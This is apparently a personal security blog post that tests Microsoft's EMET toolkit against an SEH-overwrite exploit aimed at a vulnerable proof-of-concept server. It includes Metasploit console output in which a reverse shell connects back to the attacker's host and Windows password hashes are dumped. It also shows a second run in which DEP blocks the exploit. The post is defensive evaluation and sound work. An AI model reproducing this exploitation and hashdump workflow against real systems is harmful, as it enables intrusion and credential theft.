EMET (not Brown)

This is a silly geeky joke, I know, but I couldn’t resist. I guess my mind is just rotten after a lifetime of watching sci-fi…

No. I’m not refering to this Emmett, but to Microsoft’s EMET (Enhanced Mitigation Experience Toolkit).

What hides behind this cool name? The Microsoft version of what we always say security should NOT be. A patch.

Short explanation

EMET applies some security measures to applications that weren’t design from the ground up with security in mind. Bad, but it’s anyway better than nothing and technically pretty interesting.

Basically what EMET does is hooking the API calls from the vulnerable application to the system and aplying a layer of security in between them. It is implemented in the SHIM layer, the same way the legacy apps compatibility issues are “fixed”. If you think about it, it makes perfect sense to use this already existing infrastructure.

From the Microsoft Technet:

“The Shim Infrastructure implements a form of application programming interface (API) hooking. Specifically, it leverages the nature of linking to redirect API calls from Windows itself to alternative code—the shim itself”

All this sounds very interesting but let’s see how it actually works…

Testing it

In order to test this I’ll use the ServerSEH.exe proof of concept from Digital Magic and the Metasploit module I wrote for it.

First let’s check out what happens without applying EMET. The application calls a vulnerable function (strcpy) which allow us to overwrite the SEH record. After that and using some POP POP RET magic, we manage to redirect EIP to a buffer we control. Game over.

This works fine because the application hasn’t activated DEP (Data Execution Prevention). DEP is a security feature that keeps track of which memory region are executable code and which are not. If an application tries to execute instructions in a NX (non executable) marked region it will crash, thus rendering the exploit unusable.

There is a second kind of DEP, not related to this mechanism of memory area marking. This one is called “Software DEP” and it’s actually a kind of Safe SEH enforcement. My CPU doesn’t support Hardware DEP, only “software” but this is enough to illustrate EMET in action.

In this screenshot we can see that ServerSEH.exe is not using DEP by default, being therefore vulnerable to our attack.

Take a look at the DLLs this process has loaded, as well. It’ll be important later.

This is what happens when I launch my SEH overwrite exploit against it:

msf exploit(dm_seh) > exploit

[*] Started reverse handler on 192.168.1.200:4444
[*] Sending 1000 byte payload…
[*] Adding junk. Len: 108…
[*] Adding Ret Address 0x05011d1d…
[*] Sending stage (749056 bytes) to 192.168.1.19
[*] Meterpreter session 1 opened (192.168.1.200:4444 -> 192.168.1.19:1907) at Sat Nov 27 21:19:06 +0100 2010

meterpreter > hashdump
Administrator:500:1f6d6fbe989c6073aad3b435b51404ee:[…]:::
ASPNET:1004:b0e2161be4f756bb9807030ceb9c7fc1:[…]:::
carlos:1003:1f6d6fbe989c6073aad3b435b51404ee:[…]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[…]:::
HelpAssistant:1000:f9b5cfcec6d255af259af3885f11e720:[…]:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:[…]:::
meterpreter >

Nice. It worked flawlessly as expected.

This time let’s use EMET to activate some security features. Since I’m testing it in a Windows XP box there’s no chance of getting ASLR, but we can add Software DEP. That will do for now.

EMET is pretty easy to configure, just select the executable and the security features you want to add.

Well… it’s a Microsoft product, what did you expect? ;)

After configuring and restarting the application we see some differences, namely:

  • The executable is now listed as DEP (permanent)
  • There are more DLLs loaded. You can compare with the previous screenshot and find emet.dll (somehow expected) and ShimEng.dll

The latter makes sense, since EMET is implemented using SHIM, as discussed before.

The question now is, will our mighty exploit succed this time? Come on EMET, show me what you got!

Let’s try it and we’ll find out…

msf exploit(dm_seh) > exploit

[*] Started reverse handler on 192.168.1.200:4444
[*] Sending 1000 byte payload…
[*] Adding junk. Len: 108…
[*] Adding Ret Address 0x05011d1d…
[*] Exploit completed, but no session was created.
msf exploit(dm_seh) >

On this side of the net it looks like we didn’t have the same luck as before… Hmmm… what happened on the target machine?

Ooops, it looks like some security measure kicked in… but what exactly?

This is not going to be a surprise, but reading in Microsoft Technet about DEP we find the following explanation for this error signature.

Eventype: BEX – Indicates a buffer overflow (/GS) or DEP exception

[…]

P4: Faulting module name. It makes sense, since the problem was in strcpy and this function is part of the standard C library (MSVCR100D.dll)

[…]

P8: Indicates a STATUS_ACCESS_VIOLATION (if this is c0000409, the problem is a /GS-related fault)

Conclusion

In this case, at least, EMET worked fine preventing the application for being exploited (there’s always the DoS option though).

This is for sure not a cure for every security vulnerability and the administrative overhead would be huge in big infrastructures but it could be helpful in the case you have a business critical legacy application, which needs to be protected.

It’s in any case, an interesting approach to application security. It’s worth it to take a look.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s